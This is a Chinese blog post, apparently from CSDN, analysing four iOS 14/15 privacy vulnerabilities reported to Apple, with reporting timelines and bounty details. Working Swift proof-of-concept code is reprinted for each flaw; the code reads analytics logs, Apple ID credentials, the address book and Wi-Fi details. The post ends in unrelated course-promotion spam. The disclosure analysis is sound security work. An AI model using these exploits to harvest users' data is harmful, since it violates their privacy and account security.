iOS15 安全漏洞分析:价值10万美元的漏洞曝光

0-day 漏洞

0day,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。

零日攻击 指被发现后立即被恶意利用的安全漏洞。通俗地讲,即安全补丁与瑕疵曝光的同一日内,相关的恶意程序就出现。由原软件发行公司提供修补程序,但此法通常较慢,因此软件公司通常会在最新的病毒代码中提供回避已知零时差攻击的功能,但无法彻底解决漏洞本身。这种攻击往往具有很大的突发性与破坏性。

小编注:

iOS 14.7 发布于 2021 年 7 月 19 日; 在作者发文后 2021年 10 月 11 日,苹果发布 iOS 15.0.2 ,又修复了一个漏洞。

接下来,我们先分析这 4 个漏洞的危害,然后在讨论关于苹果安全赏金计划,最后,在一些探讨一下关于 iOS 安全性。

iOS Analyticsd pre-14.7 exploit

漏洞在 iOS 14.7 已修复。

漏洞作用

允许任何用户安装的 app 访问分析日志(设置->隐私->分析和改进->分析数据 中的日志),这些日志包含(但不仅限于):

  • 医疗信息(心率、检测到的心房颤动计数和心律不齐事件)
  • 月经周期长度、生理性别和年龄、用户是否记录性活动、宫颈粘液质量等。
  • 设备使用信息(不同情况下的设备取货、推送通知计数和用户操作等)
  • 所有具有各自 bundle ID 的应用程序的屏幕使用时间信息和会话计数
  • 有关设备配件及其制造商、型号、固件版本和用户分配名称的信息
  • 应用程序崩溃时带有 bundle ID 和异常代码
  • 用户在 Safari 浏览器中查看的网页语言

漏洞说明

此漏洞是不需要任何权限,app 就可以获取分析日志,而分析日志是每个系统都会有,肯定会存在敏感的信息。同时,作者表示即使在设置中关闭“共享分析”,所有这些数据仍在收集中。关于这点,小编没有进行验证,有兴趣的朋友可以验证一下。

此漏洞在 iOS 14.7 已经修复,所以,小编在 iOS 14.2 设备上测试,其中有一组 MotionUsageMetrics 数据示例:

iOS-exploit-01.png

漏洞代码

漏洞攻击示例源代码:GitHub

func analyticsJson() -> String {
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
} 

XPC

这里先解析一下 XPC ,XPC 是 macOS 和 iOS 当中一种基于 Mach 消息的 IPC (进程间通信) 技术, 它实现了权限隔离, 使得 App Sandbox 更加完备。需要注意的是,在 iOS 上是私有 API。简单来说,就是系统封装了很多 XPC 服务,一个 XPC 提供了进程间通信的服务,所有的 app 都可以访问这个服务。详细 API 功能和说明,可以参考以下链接:

漏洞分析

了解了 XPC 基本概念,上面的源代码,大家应该能猜到一些了。就是通过苹果系统的 XPC 服务 com.apple.analyticsd,因苹果没有验证权限,导致所有 app 都可以访问这个 XPC 服务。

源代码解读:

func analyticsJson() -> String {
    // 建议 com.apple.analyticsd 的 XPC 连接
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    // 处理 connection 的各种事件
    xpc_connection_set_event_handler(connection, { _ in })
    // 必须调用 resume 方法来启动
    xpc_connection_resume(connection)
    // 创建一个XPC参数传递字典
    let xdict = xpc_dictionary_create(nil, nil, 0)
    // 键是 command, 值是 log-dump
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    // 发送消息
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    // 读取结果
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
} 

如果需要运行源代码,需要注意,项目中的 c.c 代码文件中 c 函数方法需要修改成这样:

void * normal_function1(const char * arg1, int arg2) {
    return ((void *(*)(const char *, int))((long long)dlopen))(arg1, arg2);
}

void * normal_function2(void * arg1, const char * arg2) {
    return ((void *(*)(void *, const char *))((long long)dlsym))(arg1, arg2);
} 

报告时间表

  • 2021年4月29日:给苹果发送了一份详细报告
  • 2021年4月30日:苹果回复说,他们已经审查了该报告并接受了调查
  • 2021年5月20日:求苹果公司更新状态(但没有收到任何回复)
  • 2021年5月30日:要求苹果更新状态
  • 2021年6月3日:苹果回复说,他们计划在即将到来的更新中解决这个问题
  • 2021年7月19日:iOS 14.7 发布并修复
  • 2021年7月20日:我已请求苹果更新状态
  • 2021 年7月21日:iOS 14.7 安全内容列表已发布,未提及此漏洞 (support.apple.com/zh-cn/HT212…)
  • 2021年7月22日:问了苹果一个问题,为什么漏洞不在列表中
  • 同一天,我收到以下回复:由于处理问题,您的贡献将在即将发布的更新中包含在安全页面中。对于给您带来的不便,我们深表歉意。
  • 2021年7月26日:iOS 14.7.1 安全性内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月13日:iOS 14.8 安全内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月20日:iOS 15.0 安全内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月24日:我仍然没有收到任何回复

从这长长的报告时间,没有得到苹果兑现承诺,可以感受到做出的贡献却没有得到表扬,对于作者是一件痛苦的事件。

iOS gamed exploit (fixed in 15.0.2)

漏洞在 iOS 15.0.2 已修复。

漏洞作用

从 App Store 安装的任何 app 都可以不需要用户允许的情况下访问以下数据:

  • Apple ID 电子邮件及其关联的全名
  • Apple ID 身份验证令牌,允许代表用户访问 *.apple.com 上的至少一个端点
  • 完整的文件系统读取对 Core Duet 数据库的访问权限(包含来自邮件、短信、iMessage、第三方 app 转发的联系人列表,以及所有用户与这些联系人互动的元数据(包括时间戳和统计数据),以及一些附件(如URL和文本))
  • 完整的文件系统读取对 Speed Dial 数据库和 Address Book(通讯录) 数据库的访问,包括联系人头像和其他元数据,如创建和修改日期(我刚刚在 iOS 15 上检查过,这个无法访问,所以最近肯定已经悄悄修复了)

漏洞说明

这个漏洞,不需要任何权限,即可读取 Core Duet、 Speed Dial 和 Address Book(通讯录) 数据库内容。而如果需要读取用户的 Apple ID 电子邮件,则需要在 设置 -> GameCenter 打开时,才能读取到。

运行示例:

iOS-exploit-02.png

漏洞代码

漏洞攻击示例源代码:GitHub

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
} 

漏洞分析

漏洞的根本原因是因为 XPC 服务 com.apple.gamed 未正确检查 app 是否有 com.apple.developer.game-center 权限导致。

1、即使在用户设备上禁用了 Game Center,调用 getServicesForPID:localPlayer:reply: 方法也会返回几个 XPC 代理对象(GKAccountServiceGKFriendServiceGKUtilityService 等)。

2、如果在用户设备上启用了 Game Center(即使它没有在苹果后台 App Store Connect 中为 app 启用此权限,并且 app 中不包含 com.apple.developer.game-center 授权)。

  • GKAccountService 上调用authenticatePlayerWithExistingCredentialsWithHandler: 会返回一个包含 Apple ID 的对象用户、DSID 和 Game Center 身份验证令牌(允许代表用户向 gc.apple.com 发送请求)。
  • GKProfileService 上调用 getProfilesForPlayerIDs:handler: 会返回一个包含用户 Apple ID 名字和姓氏的对象。
  • GKFriendService 上调用 getFriendsForPlayer:handler: 返回一个对象,其中包含有关用户在 Game Center 中的朋友的信息。

3、即使设备上 Game Center 被禁用,也没有在苹果后台为 App Store Connect 中的 app 启用此权限,并且 app 不包含 com.apple.developer.game-center 授权。调用 GKUtilityServicerequestImageDataForURL:subdirectory:fileName:handler: 允许在应用程序沙箱之外,读取任意文件通过将文件 URL 传递给该方法。可以通过这种方式访问的文件(但不限于)如下:

  • /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist:包含设置中 “关于手机” 中的信息。越狱设备可以通过修改此文件,实现修改设备版本号、把日版美版等设备修改为国行等。
  • /var/mobile/Library/CoreDuet/People/interactionC.db:包含来自邮件、短信、iMessage、第三方app 传递的联系人列表以及有关用户与这些联系人交互的元数据(包括时间戳和统计数据)
  • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist:包含个人收藏的联系人信息及其电话号码。
  • /var/mobile/Library/AddressBook/AddressBook.sqlitedb:包含完整的通讯录信息。
  • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb:包含通讯录联系人的头像。

GKUtilityService 上调用 cacheImageData:inSubdirectory:withFileName:handler: 可能允许将任意数据写入 app 沙箱之外的位置。

报告的时间线

2021年3月10日:向苹果报告了漏洞 2021年3月10日:苹果确认了我的报告 2021年5月20日:请求更新状态(但没有收到回复) 2021年5月30日:再次请求更新状态 2021年7月1日:苹果回复说他们仍在调查 2021年7月20日:再次请求状态更新 2021年8月25日:苹果回复说,他们计划在即将到来的更新中解决这个问题。

nehelper enumerate installed apps 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 还没有修复。

漏洞作用

该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。

漏洞说明

这个漏洞,不需要任何权限,即可判断设备是否安装了 app。

运行示例:

iOS-exploit-03.png

漏洞代码

漏洞攻击示例源代码:GitHub

func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
} 

漏洞分析

这个代码根据前面的解析,应该就可以读懂啦。原理是 XPC 服务 com.apple.nehelper 有一个可以访问任何应用的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。在 /usr/libexec/nehelper-[NEHelperCacheManager onQueueHandleMessage:] 方法中执行。

报告的时间线

  • 2021年5月4日:向苹果报告了漏洞
  • 2021年5月4日:苹果确认了我的报告
  • 2021年5月20日:请求更新状态(但没有收到回复)
  • 2021年7月20日:再次请求状态更新
  • 2021年8月12日:苹果回复说,他们仍在调查
Nehelper Wifi Info 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 还没有修复。

漏洞作用

该漏洞允许有位置访问权限的 app 读取当前设备连接 Wi-Fi 的 SSIDBSSID 信息。

漏洞说明

这个漏洞,需要 app 获得精确位置的位置权限后,即可获取设备当前连接 Wi-Fi 的 SSIDBSSID 信息。

运行示例:

iOS-exploit-04.png

漏洞代码

漏洞攻击示例源代码:GitHub

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
} 

漏洞分析

XPC 服务 com.apple.nehelper 接受用户提供的参数 sdk-version,如果其值小于或等于 524288,则跳过 app com.apple.developer.networking.wifi-info 权限的检查。这使得任何符合条件的应用程序(例如,提供位置访问权限)都可以在没有所需权限的情况下访问 Wifi 信息。这在 /usr/libexec/nehelper-[NEHelperWiFiInfoManager checkIfEntitled:] 方法中执行。

报告的时间线

  • 2021年5月2日:向苹果报告了漏洞
  • 2021年5月4日:苹果确认了我的报告
  • 2021年5月20日:请求更新状态(但没有收到回复)
  • 2021年7月20日:再次请求状态更新
  • 2021年8月6日:苹果回复说他们仍在调查
Apple 安全赏金计划

Apple 安全赏金计划 是苹果奖励分享关键安全问题的研究人员。

研究人员报告 iOS、iPadOS、macOS、Apple tvOS、watchOS 和 iCloud 上的问题,并可获得最高 150 万美元的奖金。此外,Apple 也会对提交有效报告的人员公开致谢。如果获奖者捐献奖金,Apple 还会捐赠等值款项给符合条件的慈善机构。

apple-security-bounty-payouts.png
随着信息技术的快速发展和互联网的普及,IT行业 成为一个非常热门的领域,也是目前就业前景非常广阔的领域之一。

IT行业是一个非常庞大和多样化的行业,包括软件开发、网络安全、数据分析、云计算等等领域。因此,就业前景也是非常广泛和多样化的,不同的领域和职位都具有不同的就业前景和发展机会。

在软件开发领域,由于软件已经成为现代社会不可或缺的一部分,因此对软件开发人才的需求也越来越大。特别是在移动应用、大数据、人工智能等领域,软件开发人才的需求更是迅速增长。因此,软件开发人才的就业前景非常广阔,尤其是那些熟练掌握多种编程语言和技术的人才。

有幸看到一篇这样一组数据。

根据这些我不得总结,it行业确实人才紧缺,

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

img

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 22
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值